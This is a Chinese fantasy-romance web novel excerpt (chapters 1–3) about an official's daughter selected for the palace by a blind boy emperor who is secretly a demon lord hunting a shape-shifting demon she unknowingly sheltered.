《官家小姐与魔界公子》
1. 林间奇遇
春寒料峭,清泉山正逢午后,山林深处,薄雾渐退,阳光透过密林枝桠,洒下斑驳的光影。林间小径上,一辆青篷马车缓缓向山麓而行。车夫手执缰绳马鞭,身旁坐一名神色平静的翠衫婢女,另有两名护院骑骡分左右而行,护卫前路。风拂山林,车帘随风轻晃,隐约可见车内倚坐一少女,年约十六七岁,韶华正好,身着一袭烟霞般的银红纱衣,眉目如画,容色秀丽绝俗。
少女来自京城,是当朝礼部郎中之女沈纨,昨日赴清泉山的慈缘寺礼佛,顺便拜见在清修的长辈,今晨辞行,正乘马车沿山道徐徐而下。
林间忽听得一声惊呼,一个农家打扮的年轻女子神色惊惶地跑来,背上的竹篓翻倒在地,内中春笋滚落四散,沈纨闻声掀帘而望,出言问道:“发生了何事?”
那农女见得马车,直扑上前,伏地带着哭腔泣道:“救……救命!前方有歹人拦路,意图不轨。”
清泉山素为京城贵女礼佛之所,官署一向上心,何曾有人敢在此地肆意妄为?沈纨心中纳罕,但还是立刻道:“你莫要担心,此地离官署不远,山上贵人亦多有护卫,歹人在此间难以造次。”说着她吩咐婢女:“蒹葭,你且将这姑娘搀起来。”
那农女哭哭啼啼,浑身发抖,看着颇为可怜。
“把她交出来!”前方忽然传来一个盛气凌人的声音。
沈纨循声望去,只见林间走出三人,为首的是一个锦衣华服的少年郎,十七八岁的年纪,一袭长袍华贵非常,然而宽袍广袖,显得过于随意,墨发披散肩头,也不束起,看起来随性散漫,甚至不成体统,一副本应在深宅大院倚松卧石,闲看落花的打扮,与三两好友煮茶清谈,却突兀地出现在山野之中。少年似乎目盲,双目蒙着一条软带,只露出俊秀的下颌,薄唇微抿,透着难以掩饰的傲慢。
他身旁站着两个气势逼人的护卫,皆戴面具,身量修长,且异乎寻常地高大。
农女瑟瑟发抖,拉着沈纨的衣袖哽咽:“娘子救我,我不过是在山中采春笋,这位小公子好生凶恶,硬要把我纳入府中做妾,我不从,他就想用抢的。”
沈纨让农女进了马车,而她迈步下来道:“我观公子出身不俗,怎么竟做出强抢民女这等歹事?”
“民女?”少年眉头微皱,不耐烦道:“我没工夫和你解释,不想吃苦头就把人交给我。”
“佛门清净之地,你却在此欺压百姓,你是哪家的郎君?竟敢如此放肆?”
少年听了佛门两个字先是一声冷笑,继而反唇相讥:“你不但心盲,还是个蠢人。”他略偏过头示意,两侧的高大武者按住了腰间的武器,杀气隐隐浮现。
沈府的护院发觉情势不对,立刻翻身下骡,拔出腰间佩刀。
“山下就是官署,你们想在这里动武吗?”
身后突然有动静,一队马车正从山上缓缓而下,旗帜飘扬,沈纨想起今日亦有将门的女眷礼佛,并带着护持的兵马,她吩咐婢女:“蒹葭,高老将军府上的女眷如今也正下山来,你去喊一喊,他们人多,岂能让这纨绔在此欺压百姓。”
蒹葭点头,转头扬声高喊:“后头来的可是高老将军府上的贵人?我家女郎是沈郎中家的女眷,山路崎岖,请求一道同行。”
沈纨冲着蒹葭再次颌首示意,婢女心领神会,自马车上取下一只竹筒,举高用力一拉,竹筒中飞出一道烟花,直冲云霄爆开。
她转向面前三人,神色丝毫不惧:“我已传讯山下的官署,官兵很快就会上山,你们即使今日想在这里大开杀戒,也落不着好。”
安静的山林突然云气波动,出现了混沌不明的呓语,但除了马车内的农女悚然而惊,沈纨与她的婢女,以及护院均对此毫无察觉,少年身旁的高大武者刚才与他进行了简短的交谈,宛如来自幽冥深处的魔音,常人的耳力根本无从能听见:
高家女眷……认识小皇帝……此时……不宜会面。
那少年高傲地扬起下巴,显得极为不悦,转身拂袖而去,他和身边的两个护卫轻功高得异常,一闪身就不见了踪影。
马车内,农女低着头,露出非常阴沉可怖的神色,纤细的身体产生异状,皮肤下涌现出不自然的蠕动,仿佛体内有一条巨蟒在四处游走。她肤色变得灰白,面庞出现龟壳般龟裂的纹路,一只眼球从眼眶里掉出来,又被黑雾吸回去,原本黑白分明的双眼现在变得漆黑如墨,嘴巴咧开一道裂口斜到耳际,并露出非常诡异的笑容,但很快又恢复正常,变得如先前一般,弱怯怯的样子。
那盲眼少年与部下步入树林深处,他们足下乍现一圈蓝焰,火舌席卷全身,三人瞬间不见了身影,林间依旧悄然无声,仿佛什么都没发生过,一片枯焦的叶片都不曾留下。
宫城位于皇都正北,方才还在林中的少年此时出现在帝寝旁的僻静廊下,两名神秘的武者把手放在胸前,恭敬地向这不羁的目盲少年鞠躬,随后身影转淡,如雾般消散于他面前。
盲眼少年扶着廊柱,辨认方位,穿越游廊,进入天子的寝宫徽元殿,宫人见到他踏入殿内,齐齐伏地叩首:“参见陛下。“
但居于内殿的宫人却错愕不已,两个时辰前天子分明还在寝殿内休憩,如何又自外归来?不由困惑道:“陛下几时出得徽元殿?”
“当然是从窗里出去的,你等成日跟随,朕一天也没个清净!”小皇帝不耐烦地随意搪塞,迈步直入书阁。
与此同时,沈纨回到了家中,父亲方自礼部归来,母亲姜氏正忙于府中庶务,双亲皆在书房,沈景正提笔写着一些复信,红木书案上摞着许多拜帖。
沈纨安置好农女,来见双亲,说明了在清泉山的一番遭遇,她见双亲神色忧愁,忍不住问:“爹娘有何忧心事?”
沈景叹道:“你才出孝期,求亲的媒人,访帖雪片似的来。”
她脸颊微红,“女儿……还不着急出嫁。”
“娘也想多留你些时日,但你及笄已有两年,也是时候择婿了,只是拜帖中有些人家,令夫君颇感为难。”
“女儿可否一观,是些怎样的人家?”
沈景未作反对,把一摞拜帖往前推了推。
沈纨翻了翻其中的拜帖,有些是寄给父亲的,也有来自官家的女眷,寄给母亲,其中一封,来自左卫将军徐敦的府上。
徐氏乃关陇百年世家,祖上随圣武皇帝打天下,百年过去,在京城世家勋贵不过中上,然以军功见长,祖孙三代依然是人中龙凤,老太爷徐虎尚公主,如今年逾八十,退居府中颐养天年。徐氏如今的话事人乃左卫将军徐敦,与其长子徐照原颇有勇力,有用兵之能。
两年前淮王之乱,徐氏勤王有功,深得皇家倚重。京中皆传,徐大将军成为柱国只是时间问题。但徐氏家风颇为引人诟病,男丁在女色上毫无节制,长子喜欢收罗异族女子,次子更是京中闻名的恶少,眠花宿柳无所不至。却又胜在战功彪炳,因此京城世人往往以一句“大丈夫不拘小节”为其遮掩而过。
沈纨生得貌美,且知书达理,性情温和,在京里早有美名流传,只是去年外祖母和曾外祖母接连去世,为此守孝一年。两位贵主皆有天家
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血脉,她的曾外祖母东阳大长公主,是本朝开国之君圣武皇帝之女。
虽然母亲出身世家,父亲也是六部官员,但徐氏近年颇得天家倚重,渐显跋扈之相,徐大公子图慕她的美色,如此积极求娶,还不知该如何应对。
“徐家?”沈纨声音露出忧惧之意,她在父亲身旁坐下,才刚阻止了一个强抢民女的恶少,她自己就遇到了类似的麻烦。
反倒是母亲柔声安慰她:“爹娘岂会舍得你去受苦,此事且交由你爹爹应付。”
正说话间,有小厮匆匆而至,躬身道:“老爷,夫人,大监于公公来访,请娘子接旨。”
于公公是个面色严峻,眉间有悬针纹的太监,待沈景领着妻女跪定,他展开圣旨念道:
“朕御极四载,政务繁多,未曾顾及后宫,今社稷安定,思及宫闱虚寂,仰承皇太后慈谕,宜选淑女以佐内廷。今闻礼部郎中沈景之女品貌双全,蕙质兰心,着其入宫选秀,钦此。”
沈纨感到脑中一阵嗡鸣,心神震荡,一时竟无法回神,沈景已站起来,躬身接了圣旨。
大监传旨毕,受了沈府的一盅清茶,才辞别而去,而沈纨神色惶惶,眉宇间尽显担忧,看上去六神无主,沈景见状,不由宽慰女儿:
“陛下年轻,只比你稍长几个月,心思有时不定,却是个勤政天子。唯有一事你要谨记,陛下在开春游猎时,因坠马而身受重伤,虽然宫中有意压下消息,但陛下如今失明,起居和国务皆需他人从旁辅佐,你入宫后万事需谨慎,殿选之时切不可冒犯。”
“爹爹可知陛下是怎样的性情?”
“先帝和太后当年对东宫管束甚严,虽然太后的内侄女未及大婚就病逝,但陛下御极四载,后宫空虚,也未曾听闻与宫女有何牵扯,在私德上兴许尚胜京里的诸多纨绔。”
但父亲之言依然难令她开怀,倘将来入宫,则需时刻留心在意,反不如宫外自在。但她总觉得,近日的京城恶少,似乎越发年少,令人颇感世风日下。那位非常积极想要娶她的徐大公子,为人勇猛善战,但外战凡下一城,美貌女子常为战利品,不是犒军,就是收入府中。二公子年仅十七,纳风尘女子为外室,且已经有身。
还有今日在清泉山遇到的那小郎君,瞧着甚为年轻,竟跑到佛门清净之地强抢民女,也不知是谁家公子。
沈纨为入宫而担忧,浑然不知,此时就在她的院落内,有极可怕的景象。由于四下无人,那被收容的农女再次露出非人之相,竟以四肢贴地的姿态在院中爬行,双眸黑气透出,不时仰头四下张望,并如兽类般动着鼻子。
因她的干预,无法擒获农女的少年天子,此时神色不豫地坐在书阁内,有宫人进来小心禀道:
“陛下,太后娘娘方才差人拟了名录过来,是下月的选秀名单,娘娘来问陛下的意见,可要奴婢把名录念予陛下知悉?”
“先放下吧。”皇帝兴致缺缺,不由分说地屏退了众人。
今晨自他手中逃脱的魇魔,分明不是人类,因吃了个农家女子,变作她的模样,还碰上个多管闲事的少女,以如此低级的干预阻碍了他的行动。
巧的是,他也不是人类,却以少年天子之姿滞留人间,而真实的身份,乃是魔域北方玄冥之主魔情公子。
他此刻只想寻出那多管闲事的女郎,问出魇魔的下落。若她再横加干预,他不会再对她客气,殊不知这少女的名姓身份,皆已明白写进位于面前案几,却被他忽略的选秀名册之内。三日之后,她就会向着他而来。
很快就会再见。
2. 观之不似人君
无咎四年三月二十日,被钦点的官家秀女进了宫,沈纨入宫期间,赶上母亲的生辰,她规矩学得好,征得主事宫人张嬷嬷的许可,可以往家中寄一封家书,以此略尽孝心。
待选的秀女们居于蕴秀宫,附近有一片桃林,午后人迹罕至,此刻得闲,沈纨携了笔墨花笺,去往桃林深处给母亲写信。除了家书以外,她还抄了几章祈愿长辈康宁的经文,确认内容无误,她将书信卷好系牢,装入锦袋中,待明日托付给负责庶务的姑姑,就能把信送回家,也算报了平安。
手头还剩下许多花笺,她想再写些什么,正托腮思量间,远处有佛音自湖对岸传来,由于陛下近期抱病,宫里举行法会,为天子祈福。
沈纨凝神聆听片刻,忆及旧事,十四岁那年冬天她和母亲去清泉山礼佛,没成想天降大雪,返程受阻,遂留在慈缘寺。山下有个善济堂,专门收容弃婴和流落女子,她与母亲同寺中女尼照料贫弱百姓近一个月,期间有一女童病重,沈纨日间照料她,夜来女尼们诵经祈福,她若得闲也会跟着抄录佛经聊表心意,月余后她和母亲返家,那女童已然康复。
父亲提及陛下近期的伤势,天子抱恙,于家国皆是隐患,于是她再度拿起了笔。
春光明媚,桃林中静谧无声,少女坐于花亭下,落笔皆是佛语,笔记娟秀,她并无私念,亦无私情,仅因一时善念,希冀陛下早日康复。
在宫城另一隅,帝王寝殿内却一片昏暗,春和景明,窗扉半启,却仿若有无形的屏障阻隔,阳光难以入内。魔情感到心烦意乱,太后为了皇帝的健康,邀来僧人于宫中举行法会,他如今伤重,这些佛音有如催命,他的两个部将在宫城布下屏障,降低了法会的影响,但梵音传来,依旧令他不胜其烦。
突然间,魔情感到一阵强烈的不适,神魂激荡,几乎要将他压出小皇帝的肉身,附近似乎出现一股不明的愿力,他心中暴怒,猛地站起,身影消失在御殿之外。
沈纨依旧坐在花亭中,她在写《药师经》,由于心思纯净虔诚,的确有其愿力,只是对于她所祈福的对象非但没有助益,反是祸害。薰风醉人,林间有落花,空气中散发淡淡花香,这样晴好的天气,带来昏昏然的睡意,突然一阵怪风猛地刮来,花笺四散,连人也差点被吹倒在地上。
“你在这里做什么?”她身后响起盛气凌人的质问。
沈纨惊惧地转身,只见面前站着一位锦衣华服的郎君,黑发如墨披散肩头,一条布带蒙住双眼。身姿修长,和初见时一样,那身自寝殿出来的打扮看来极不成体统,他未着龙袍,衣饰虽考究,却瞧不出身份。
花笺被风吹散,连装在锦袋中的家书也滚落足边,沈纨忙弯腰拾起家书,抬头一看,认出是当日想要强抢民女的少年郎君,她大为惊讶,蕴秀宫中一向只见宫女,连太监都少,惶论外男,这少年何以竟出现在禁宫之内,他是什么身份?
“你……你是那日强抢民女的郎君,你在后宫里做什么?”
魔情听得她声音有三分熟悉,再听其话语,也认出她来:“我还道是哪个没眼色的东西,原来是你。”
有愚蠢的正义感,但是非不分,还信佛,无趣之至。
“怎么?窝藏逃犯,躲到了禁中来?”
魔情意图试探她的身份,但沈纨如今是秀女,现在遇到外男,反而自陷于尴尬之境,不好明言身份,她沉默片刻才道:“你这小郎君好不讲理,我能进宫自是随家中长辈来的,宫禁森严,岂容闲人来去自如。”
他还真就觉得禁军几乎就是一群废物,几度与部下出入宫城,如出入无人之境,只能一防武学修为不足的凡人。而后宫如今尚无嫔妃,仅有太后和天子,近日也未闻外客造访,他皱眉道:“什么长辈?并不曾听闻今日宫里来了什么人。”
“不可能告诉你。”沈纨倔强地答:“郎君若想以此问出那女子的下落,趁早歇了心思。”
他大致上能猜到,那魇魔多半被她收容在家中,只是这少女竟然颇固执,拒绝透露身份,本来极简单的一件小事,因她闲事多管而横生枝节,他往前迫近几步,竟逼得沈纨忍不住后退。小皇帝年少,虽然目盲,但内在是个真魔,双目被蒙上,掩盖大半情绪流露,气质依然咄咄逼人,绝非一般虚张声势的纨绔公子,而是真的显得很危险,令人大气也不敢出。
“郎君待如何?宫禁森严,陛下如今抱病,你若是惊了圣驾,该当何罪?”
“皇帝?皇帝不会介意的。”
沈纨气怔了,她能看出面前的少年出身不俗,没想到他连今上也不放在眼里,简直无法无天。
“我瞧你年纪并不大,怎么如此纨绔,我若有你这样的弟弟定要好好管教。”
弟弟?
魔情听她说得越发离谱,面前的少女语音清脆,年纪绝不会超过二十,他的实际年岁怕是年长她几十倍不止。
“你认为我几岁?”
“本朝律令,凡男子无论平民显贵,除非以徭役相抵,否则年满十六,需从军两年,郎君看着年少,尚有闲工夫外出强抢民女,当不会超过十六岁,如此年纪,却是个好色之徒,你说该不该管教?”
“十七了。”其实他也记不清小皇帝究竟几岁,信口说了个范围。他接着道:“那你应知晓,京中确有身份尊贵之人可得例外,不必从军。”
比如皇帝自己。
“郎君究竟是来做什么的?我不过是个女客,倘若意图不轨,我可是真要喊人了。”
她话音未落,不远处真的听到了人声,有两个秀女正沿着蕴秀宫方向的青石小径而来。
声音慢慢接近,魔情一把捞住沈纨的腰,足尖点地跃上就近的树梢,这片桃林颇有年头,桃树长得甚高,半空中浮动涟漪般的气流,他们的身影隐于障眼法之后,当两个秀女踏入花亭,只余花树轻摇。
“咦,此地怎会散落这许多纸张?”
“沈姐姐说午后会在桃林,却不见人,墨也洒了,好生奇怪。”
“许是风吹的,要不,先收拢了压在砚下,兴许稍后沈姐姐就回来了。”
沈纨不知二人已经隐藏,欲挣脱他的怀抱,又怕被树下之人瞧见,他现在揽住她纤腰,她羞窘难言,一个官家闺秀,何曾与外男如此亲近,若是被人遇见,名节都完了。
她试图推开他去扶一旁的树枝,没想到足下树枝咔嚓一声折断,她险些掉下去,被他及时一把捞住,他站立的树枝并不比她刚才的粗多少,不知怎么竟承受住了二人的重量,而她失了立足之处,足尖能点到的枝条根本无力支撑,若不愿坠下,就只能挂在他身上。她的双臂紧紧环着他的脖子,身体几乎悬空,紧贴着他的身躯,如此一来,抱得更紧了。
这少年揽着她的腰,此外并无轻薄之举,但嘴不饶人,在她耳边出言讽刺:“真热情啊,得不偿失。”
沈纨自作自受,心里又气又委屈。
他火上浇油:“我听说如你这般的人家,此等境况下,一般都得嫁了。”
“死也不要!”她从牙缝里挤出声音来。
那少年冷笑,反唇相讥:“你当我想娶你?”
人类女子,无趣无趣,怎有可能。
方才折断的花枝尚连着一小块树皮,承受不住风吹,树皮剥落,花枝坠地,沈纨紧抱着他,从这个方向无法窥见下方,她心中惊惶,这番动静总该被发现了。
两个少女瞧见落下的桃花枝,果然抬头瞧了一眼,却见满树桃花,耀目的阳光穿过花影,晃得有些睁不开眼,她们收拾好花笺,其中一位秀女道:“这是《药师经》,祖母前些日子抱恙,我也抄过几段,只不知沈姐姐忽来雅兴,还是记挂着谁。”
树上的两人听到,沈纨的神情颇不自然,魔情则是不屑地,轻轻哼了一声,虽然听起来也像回应她方才说的气话。
“唉,选秀还剩五日,本想讨教一番,沈姐姐规矩学得真好。”
“你也想入宫么?”另一名少女含笑问。
“闻说陛下年轻英俊,和一般的郎君可不同。”
她们在原地等了一会儿,沈纨大气也不敢出,心跳如擂鼓,她抱了个满怀的郎君则压根没有心跳,她过于羞愤又过于惊惶,丝毫未觉。桃林中始终不见人迹,两位秀女失望地离开了。
因为失明,魔情凭借直觉多等了片刻,而沈纨无奈不得不伏在他怀中,他们实在接近,以至于他会有感觉,他同族的女子若非高挑瘦削,就是极其诱惑动人的魔女,而这少女正值韶龄,还略显青涩,但腰肢纤细柔软,体态非常美好。失明加深了其余感官的敏锐,他们在树上维持这相拥的姿势又过了一阵,魔情才反应过来。
这女郎若在此时指责他有意轻薄,就真的难以自辩了,他不动声色地带着她从桃树上落下来。
“你不是宫里的访客,是秀女。”他现在知道了她的身份,既然她并非访客,自当不会很快离开,但殿选后也不会留在宫中,若要将她留下,恐怕得使些非常手段。
沈纨从他怀中挣脱出来,后退一步道:“既然郎君知道,还不与我保持距离,以免惹祸上身。”
“你怎么看待当今圣上?”
“家父曾言陛下勤政,且私德良好,想必与郎君这般的登徒子截然不同。”
“说得真好,皇帝一
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定会很感动的,只不过……”魔情离去前吓唬她:“他可不信佛,你在此间胡乱念经,当心他知道了责罚你。”
沈纨突然涨红了脸,因为窘迫,她完全忘了,一个目盲的少年怎会知道她方才之举,待回到蕴秀宫,反应过来不对,却也百思不得其解。
四月六日,经过半个月教导,三十名秀女齐聚披香殿,静待天子亲临。
选秀前出了点小插曲,如今天子年少,中宫尤虚,因此凤座上坐的是太后,而天子却拒绝坐在龙椅上,而是选择隐在皇座后的纱帘内。
谢太后不解,但皇帝解释道:“朕失明之事宫外知道的有限,何须助长流言,也怕吓着人。”主要是不能惊着前日桃花林里的那少女。
太后一想有理,虽然不成规矩,却也罢了。
于是天子倚坐于半透明的银红纱帘之后,而太后端坐于前方的凤位主持选秀。
负责唱名的是六尚之首的女官白尚宫,一次宣三名秀女进殿,女孩儿们恭谨柔顺地上前,微微垂首,并不敢直面圣颜,有个别秀女在回答太后垂询时,大着胆子微微抬头往御座上扫一眼,却见龙座无人,天子不知何故竟隐于帘后,一些少女怀抱期待而来,连天颜也未得一见,皇帝兴致缺缺,她们不由感到非常失望。
太后问得详细,以便让天子多听一听,但他只是敷衍:“一切听凭母亲吩咐。”谢太后深感无奈,却也只能打起精神继续。
有两名贵女的名字被记下留用,更多的人抱憾而归。
这时,白尚宫扬声道:“礼部郎中沈景之女,沈纨。”
沈纨出列上前,盈盈拜倒:“臣女沈纨,参见陛下,太后娘娘。”
来了。魔情听到她的声音,立时起身,掀帘从御座上缓步而下。
一时间披香殿内静寂无声,所有人都被他的突然之举吓了一跳。
沈纨依然伏在地上,目光朝下,视线所及,只能看到天子龙袍下摆的云纹,浑然不知近日屡遭她斥责的少年就在眼前。
皇帝在她面前站定,问道:“你想入宫吗?”
沈纨被天子问得愣住,突然心下剧震,这……这个声音?!
她被一把拉起来,这才看见此前两次相遇皆极不愉快的少年公子,竟是当今天子。他一改先前披头散发,放浪不羁的打扮,明黄的龙袍上是金线绣的五爪金龙,一顶金冠束发,雕着龙头,缀以流光溢彩的宝石,红色的饰带垂落,随着他的动作微微摇晃。他依旧蒙着双眼,只能看到他扯动嘴角,笑得颇为快意。
“你……你是……?!”
“别来无恙啊,沈娘子。”
沈纨过于震惊,一时间几乎停止思考,皇帝却道:“沈家女郎深得朕心,把名字记下吧。”
“臣女……臣女……”沈纨声音颤抖,满心疑惑道:“闻说陛下抱恙,前些时日不在宫中静养,却出现在郊野是何道理?”她被一手揽住,皇帝看着有点病弱但力气比想象中大得多,一时间竟难以动弹。
“自然是体察民情。”他信口雌黄地答。
皇帝和沈氏在众目睽睽下拉扯,另外两名秀女惊得呆若木鸡,太后瞧着实在不像,忍不住道:“沈家女郎,你是东阳大长公主的重外孙女,与皇帝同为圣武皇帝血脉,论辈分,他还算是你的表兄。你模样规矩都不错,张嬷嬷对你也多有夸赞,既然皇帝对你有意,孤看你也不错,就留下你了,如何?”
谢太后语气温文,然天子与太后双双发话,已不是可商榷的局面。
小皇帝这时又低声道:“朕问过人了,朕如今已满十八,比你还长个一岁有余,你的确该叫我皇兄。”他言辞荒诞不经,语气也有点疯疯癫癫的。不待她反应,随即又道:“沈家女郎羞涩,方才已经点头,白尚宫还不赶紧把名字记下?”
“诺。”
于是沈纨眼看着白尚宫举起手中毛笔,勾了她的名字。
接下来的事更出人意表,这乖张天子似要将他的荒诞行径贯彻到底,他声音并不很大,却清晰地传至殿内每个人耳中:“朕等不及了,沈家女郎今夜就来侍寝,余者不必再选,朕不需要那么多女人。”
一旁的白尚宫手执名册,正预备叫下一批秀女,闻言顿住,因过于惊讶而微微张开了嘴,不知是该遵从圣意,还是应继续,不得不求助地看向了一旁,仍坐在殿上的谢太后。
小皇帝离开前,低下头在她耳边道:“朕记得你几天前才说过,死也不要嫁给朕。如今你入宫不是做皇后,算不得出嫁,就别寻死觅活了。”他的薄唇蕴着几分恶作剧般的笑意,宣判了她的命运:
“准备侍寝吧,沈娘子。”
3. 回门
沈纨未及册封,在选秀当天就被天子挑中,要求侍寝。她姿容出众,出身也好,中选并不令人意外,但没想到天子这般荒唐,以如此非常方式将她纳入禁中,其后所有的秀女,都被他轻飘飘地打发了。
太后思量之后,当即下旨,封沈氏为美人,令长宁殿内官拟旨,将册封的消息送至沈府。
皇帝已回到徽元殿,而沈纨被临时送往别殿,今夜就要侍寝,一时间殿内十分忙碌,太后指派来的教引女官虽有经验,但事发突然,闺阁之事本该在中选后才派女官教导,眼下只能一切从简,故而非常仓促。
转眼华灯初上,新封的美人在宫人的引导下,乘软轿前往皇帝寝宫。
沈纨倚在轿中,已经沐浴梳洗过,心下惶惑,那个强抢民女的纨绔公子竟是当今圣上!他容貌俊秀,如此年轻坐拥天下,照理说大齐未婚的淑女几乎可以任他挑选,他还要到民间抢夺民女,她将要托付终身的郎君就是这样的人?
且天子如此急色,她几个时辰前才中选,转眼就要侍寝,莫说宫人不及筹备,连她心理上也为准备好,一乘轿子就要抬入禁苑,这简直……简直,和民间纳妾有何区别。
徽元殿灯火通明,寝殿甚是宽敞,皇帝漫不经心地坐在殿内,宫人恭敬地上前请陛下更衣,他这才起身走到榻前,宫女们替沈纨除下外袍,只余一层薄绢般的贴身寝衣。皇帝更衣之时,掌管燕寝记录的女官走上前来,最后再嘱咐一些事宜。
低位宫嫔侍寝时间有规定,到点就应离去,不得在徽元殿过夜。
“陛下,一个时辰后……”
皇帝恍若未闻,径直走到沈纨面前,绣着云纹的软带自少女腰间松脱,被他握在手中。
彤史女官突然停住,听得天子说道:“还不滚?沈美人深得朕心,一个时辰怎么够,今夜谁也不许来打扰。”
女史面色通红,情知不可再久留,立刻低头跪安,同众人全部撤了出去。
少女双目含泪,在他面前颤抖,分明非常抵触。等宫人全走了以后,小皇帝却笑了笑,把腰带重新绕回她腰间系好,这才松开了手。
他能感觉到沈纨的情绪变化,先是抵触和恐惧,现在又变得非常困惑,他像完成了什么恶作剧,对她说道:“我对你不感兴趣。”
“那么陛下让妾入宫意欲何为?”
“那个农女,你藏哪了?”
沈纨震惊至极,方才在登华殿她得知,当今天子的龙塌至今未有女性涉足,她是第一个,所以教引姑姑在教她床笫之事时,虽然仓促,但丝毫不敢大意。没想到侍寝当夜,皇帝却向她索要另一位民间女子,她觉得既震撼又有点屈辱。
十八岁虽然年轻,也断非孩童,他的行径仿佛京里那些被宠坏的小郎君,有什么东西硬要拿到手,否则就躺在地上打滚,高声尖叫。他对她无意,却要她入宫,丝毫不在意如此轻率之举会摧毁一个女子的后半生,而农女不从,他就想用巧取豪夺的手段逼她就范。
有些忤逆之念在沈纨心下掠过,虽然难以说出口。
农女如今就在沈府,皇帝已知晓她的来历,找到那女子并不难,沈纨无奈道:“陛下既是天子,应当不必问妾就能知道那女子的所在,又何必多此一举呢?”
“是啊。”小皇帝突然叹息道:“你真是太不听话了。”
他转过身来,手按在沈纨额上,倏忽之间殿内烛光全灭,黑暗降临,连一丝月光也休想介入,少女的双眸登时失了焦距,五感被剥夺,一股强烈的力量侵入她的意识,记忆如翻滚的潮汐,她如何送农女返家,安置在何处,一幕幕涌现出来。
搜魂结束,魔情收手,寝殿内恢复了平静,魔气消散,沈纨身体迅速软倒下来,被他伸出手接住。为她今晚侍寝,宫人们准备得非常细致,用香花沐浴,寝衣还熏着莲花香,沈纨倒在他怀里,香气散了个满怀,魔情抱住她,竟愣了一下。
正逢满月,月光穿过雕花的窗格照进殿内,一个少年郎怀中躺着个年轻女郎,他看着单弱,却不费吹灰之力就把人打横抱起,两个人都穿得单薄,月光落在二人身上,沈纨白绸单袍泛着朦胧幽光,天子蒙眼的布带垂下来,拂过她脸颊。
沈纨今夜并没有睡好,她梦见了些荒诞的东西,一个通体全黑的漆黑魔物出现在山间,四肢着地爬行,并在暗处窥视,一个农家少女背着竹篓,在林间采春笋,突然一阵黑雾窜起,她被拖进灌木丛中,从里面传出来嚼食骨肉的声音。
画面又变了,她站在桃花林中,身边有一陌生青年,他身形非常高大,黑色的战袍,一头银色长发,仿佛吸收了月华的光辉,还生着罕见的金色双瞳,神态极冷傲,他们似乎在争执着什么,他相貌如此奇特,她在梦里却丝毫不以为怪。
沈纨猛地睁开眼睛,一下子惊醒了。
熹微的晨光从窗外透进来,她疲倦地撑起身体,觉得非常疲累,她发现自己独自躺在龙塌上,沈纨迷糊地怔愣片刻,梦里的事全忘了,也丝毫想不起昨夜发生了什么。
沈纨举目四望,发现天子倚在龙塌附近的红木靠椅上,他翘着二郎腿,一手托腮,手肘支着椅子的扶手,身体微微倾斜,看起来好像睡着了。
皇帝不睡在龙塌上,却坐在床边,沈纨满心疑惑地靠近他。
“陛下?”她试着喊了一声,没有回应。
她忐忑地把手伸出来,放在天子的肩膀上,却发现他的身体特别僵硬,她有过照料伤患的经验,比起很多足不出户的官家千金,甚至曾见过死人,她心中突然生出不详之感,靠近天子。
“陛下?”她又用了点力气去推他,但天子还是没动。
沈纨去探他鼻息,发现他连呼吸也没有,身躯僵硬冰冷,好像已经凉了很久了。她感到一阵恐惧,昨夜才侍寝,今晨皇帝就死了!她忍不住发出一声惊慌的啜泣,伸出手试探天子的心跳和脉息,想再次确认他的状况。
她把手放在他的胸膛,天子突然动了,一把抓住她的手,沈纨被扯到他面前,他微微扬起下巴道:“真热情啊沈美人,一大清早就来摸朕,昨夜还没满足吗?”
她压根就记不得昨夜侍没侍寝,虽然他的手有点凉,却一扫先前的死气,也能感到天子的鼻息,他分明是正常的。
“陛下为何不在卧榻上休憩?”沈纨受到惊吓,满心疑惑,声音也有些惊魂未定。
“自然是醒了,你没听说过入定这样的习武方式吗?”他敷衍地回答,在床头摸索一番,敲了敲一旁的铜钟,守在外头的宫人听得传召,捧着衣物和梳洗用具鱼贯而入,沈纨此时未及起身,于是众人见到沈美人靠着天子,他握住她的手按在自己心口上。
为首的是徽元殿的掌事宫女福锦,看见天子与沈美人的亲昵之态,她脚步一顿,垂首屈膝道:“奴婢……见过陛下,见过沈美人。”
“沈美人善解人意,深得朕心,不过……”他突然放低声音问她:“你叫什么名字来着?”
沈纨无奈至极,他连她名字都没记住。
“妾身沈纨,是礼部郎中沈景之女。”
他既不知沈景是谁,也搞不清她名字到底是哪个字,继续问:“你家人如何称呼你?”
“妾出生那日正逢满月,外祖母来探望母亲,彼时明月当空,所以起了个小字叫如月,如今家人都是如此称呼妾。”
“如月。”他小声念了一遍,这才站了起来,示意宫人过来更衣。
半个多时辰后,他们洗漱完毕,还一同用了早膳,这才前往长宁殿见太后。
皇帝在选秀当日不由分说将沈家女郎拉上龙塌,又把余下的秀女遣散,不消说已在宫外引起轩然大波,若不处理得体面些,天家名声就该坏了。
于是,念沈美人“侍驾有功”,她被晋为婕妤,将以妃嫔省亲的礼节返家,暂且与家人团聚,再择日正式进宫。
皇帝决定与她一同返回沈府,以示天恩浩荡。
因有天子同行,出宫的排场实际上被拉至了帝王的规格,新封的沈婕妤与皇帝共乘一架御辇。从她选秀到封位,再到还家,前后不足两日,仪礼被大幅简化,但荣宠和威仪依旧不可估量。
张罗出行和侍奉的宫人看到沈纨都喜笑颜开,殷勤异常,似乎阖宫上下都默契地认为,沈婕妤未来必有一番造化。
唯有沈纨
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觉得君心不但莫测,天子行事还任性乖张,侍寝当夜就向她索要别的女子,如此出格之举,又岂有情意可言。
而那农女如今被安置在沈府,以陛下此前的行事,会不会直接在沈府就强纳民女入宫,她忧愁地想。
天子銮驾抵达沈府,沈景早已换上朝服,携夫人在正门跪候。有内侍先至,请沈氏夫妇入府等候,銮驾进了中门,在前院停下,内侍散去,女官引着皇帝和沈纨下了御辇,昨日才入宫,今日就以天子御嫔的身份返家,沈纨看见父母跪迎,内心酸涩得几乎下泪。
魔情一下御辇就感觉到了沈府里的异常,有莫名的黑暗隐藏在府邸之内,那魇魔并未离去,他免去了大部分礼节:“今日朕效法民间与婕妤一道回门,你夫妇二人不必拘礼,婕妤陪朕在府里走走,都不必跟着。”
天子如此发话,沈景和姜夫人于是在前院接受宫里的赏赐,并准备筵席,魔情拉着沈纨要她当向导在府里先走走。
他有意引着沈纨去他想去的地方,沈纨的两个侍婢蒹葭和白露跟着,穿过竹林尽处的月洞门,进了沈纨闺房的院落,他要求两个婢女去预备茶点,好让他和沈婕妤叙一叙,待蒹葭白露被支开,他立刻撇下沈纨,直闯偏院西侧。
